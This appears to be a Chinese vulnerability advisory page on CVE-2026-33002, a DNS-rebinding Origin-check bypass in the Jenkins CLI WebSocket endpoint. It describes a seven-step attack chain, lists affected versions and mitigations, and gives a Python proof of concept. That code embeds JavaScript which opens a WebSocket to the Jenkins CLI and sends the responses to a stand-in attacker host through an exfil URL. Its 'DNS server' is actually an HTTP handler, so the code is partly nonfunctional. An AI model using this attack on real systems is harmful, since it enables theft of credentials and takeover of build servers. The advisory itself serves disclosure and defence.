IPBUF安全漏洞报告
English
CVE-2026-33002 CVSS 7.5 高危

Jenkins CLI WebSocket端点DNS重绑定攻击漏洞 (CVE-2026-33002)

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-33002
漏洞类型
DNS重绑定攻击/来源验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Jenkins

相关标签

DNS重绑定攻击来源验证绕过WebSocket安全Jenkins CLI远程代码执行身份验证绕过安全漏洞CVE-2026-33002

漏洞概述

Jenkins 2.442至2.554(含)版本以及LTS 2.426.3至LTS 2.541.2(含)版本中存在严重的安全漏洞。该漏洞位于Jenkins CLI的WebSocket端点,攻击者可以通过构造恶意的DNS响应,利用DNS重绑定技术绕过Jenkins的来源(Origin)验证机制。Jenkins在验证WebSocket请求来源时,依赖HTTP请求头中的Host或X-Forwarded-Host字段来计算预期来源,但由于缺乏足够的验证,攻击者可以控制DNS解析结果,使得恶意域名在解析时指向目标Jenkins服务器,从而绕过同源策略限制。此漏洞允许未经身份验证的远程攻击者通过CLI接口执行恶意操作,可能导致敏感信息泄露、配置篡改甚至远程代码执行。攻击复杂度较低,但需要用户交互(诱导用户访问恶意页面),CVSS评分达到7.5分,属于高危漏洞。建议受影响的用户尽快升级到最新版本或应用官方发布的安全补丁。

技术细节

该漏洞的根本原因在于Jenkins CLI WebSocket端点对请求来源的验证机制存在缺陷。当WebSocket连接建立时,Jenkins会检查请求的Origin头是否与预期来源匹配。预期来源的计算依赖于HTTP请求头中的Host或X-Forwarded-Host字段。攻击者可以利用DNS重绑定技术:首先注册一个恶意域名(如attacker.com),配置其DNS服务器在攻击的第一阶段返回一个短TTL的A记录指向攻击者控制的服务器;当目标用户访问攻击者准备的恶意网页时,浏览器发起WebSocket连接请求,此时DNS解析返回Jenkins服务器的真实IP地址;由于同源策略检查通过(域名相同),Jenkins认为请求来源合法,从而允许连接建立。一旦WebSocket连接建立成功,攻击者就可以通过CLI接口执行各种操作,包括但不限于:读取敏感配置文件、执行Groovy脚本、创建或修改管理员账户等。该漏洞影响所有使用CLI WebSocket功能的Jenkins实例,攻击者无需任何凭证即可发起攻击,但需要诱导已登录的管理员访问恶意页面以利用。

攻击链分析

STEP 1
步骤1
攻击者注册恶意域名并配置DNS服务器,设置短TTL值以便快速切换IP地址
STEP 2
步骤2
攻击者准备包含恶意JavaScript代码的网页,该代码会发起WebSocket连接到Jenkins CLI端点
STEP 3
步骤3
诱导目标Jenkins管理员访问攻击者控制的恶意网页,浏览器首次DNS解析返回攻击者服务器IP
STEP 4
步骤4
恶意JavaScript代码等待DNS缓存过期后,发起WebSocket连接请求,此时DNS重新解析返回目标Jenkins服务器的真实IP
STEP 5
步骤5
Jenkins服务器收到WebSocket请求,检查Origin头时发现域名与Host头匹配(因为DNS已rebinding到目标IP),验证通过
STEP 6
步骤6
攻击者通过已建立的WebSocket连接发送CLI命令,由于通过来源验证,可以执行任意CLI操作如读取配置、执行Groovy脚本等
STEP 7
步骤7
攻击者窃取敏感信息(如凭据、构建配置)或进一步利用获取的权限进行横向移动和持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-33002 - Jenkins CLI WebSocket DNS Rebinding PoC This PoC demonstrates the DNS rebinding attack against Jenkins CLI WebSocket endpoint. Note: This is for educational and authorized testing purposes only. """ import http.server import socketserver import threading import time import socket # Configuration JENKINS_TARGET = "http://target-jenkins-server:8080" ATTACKER_DOMAIN = "attacker-controlled-domain.com" class MaliciousDNSHandler(http.server.BaseHTTPRequestHandler): """ Custom DNS handler that returns different IPs based on query count. First queries return attacker's IP, then switch to target Jenkins IP. """ query_count = 0 def do_GET(self): if "/dns-query" in self.path or self.path == "/": MaliciousDNSHandler.query_count += 1 if MaliciousDNSHandler.query_count <= 2: # First queries return attacker's IP (for initial page load) self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b"attacker-controlled-ip") else: # Subsequent queries return target Jenkins IP self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b"target-jenkins-ip") def log_message(self, format, *args): pass # Suppress logging def start_malicious_dns_server(port=8053): """Start DNS server for rebinding attack.""" with socketserver.TCPServer(('', port), MaliciousDNSHandler) as httpd: httpd.handle_request() def create_malicious_page(): """Generate malicious HTML page that initiates WebSocket connection.""" return f""" <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <script> // Wait for DNS cache to expire and rebind setTimeout(function() {{ // Initiate WebSocket connection to Jenkins CLI // The DNS will now resolve to the target Jenkins server const ws = new WebSocket( 'ws://{ATTACKER_DOMAIN}:8080/cli', ['jenkins-cli-cli'] ); ws.onopen = function() {{ console.log('WebSocket connected'); // Send CLI commands through WebSocket ws.send('who-am-i'); }}; ws.onmessage = function(event) {{ // Exfiltrate data to attacker server fetch('https://attacker-server.com/exfil?data=' + btoa(event.data)); }}; ws.onerror = function(error) {{ console.error('WebSocket error:', error); }}; }}, 5000); // Wait for DNS cache to clear </script> </body> </html> """ def exploit(): """ Main exploit function for CVE-2026-33002 """ print("[*] CVE-2026-33002 - Jenkins DNS Rebinding Attack") print("[*] Target: " + JENKINS_TARGET) print("[*] Attacker Domain: " + ATTACKER_DOMAIN) # Step 1: Start DNS server dns_thread = threading.Thread(target=start_malicious_dns_server) dns_thread.daemon = True dns_thread.start() print("[+] Malicious DNS server started on port 8053") # Step 2: Serve malicious page print("[+] Serving malicious page to target user...") print("[*] When user visits the page and Jenkins is logged in,") print("[*] WebSocket connection will be established and CLI commands executed.") # Note: In real attack, the malicious page would be hosted on attacker-controlled server # and target user would be tricked into visiting it if __name__ == "__main__": exploit()

影响范围

Jenkins 2.442 <= version <= 2.554
Jenkins LTS 2.426.3 <= version <= 2.541.2

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)通过防火墙或反向代理限制对Jenkins WebSocket CLI端点的访问,只允许受信任的IP地址连接;2)禁用WebSocket CLI功能,强制使用传统的HTTP CLI连接方式;3)确保管理员不要从不可信的网站访问Jenkins实例,使用独立的浏览器配置文件;4)启用Jenkins的安全日志记录,监控异常的CLI请求;5)考虑使用VPN或内网部署方式访问Jenkins,减少外部攻击面。同时建议密切关注Jenkins官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表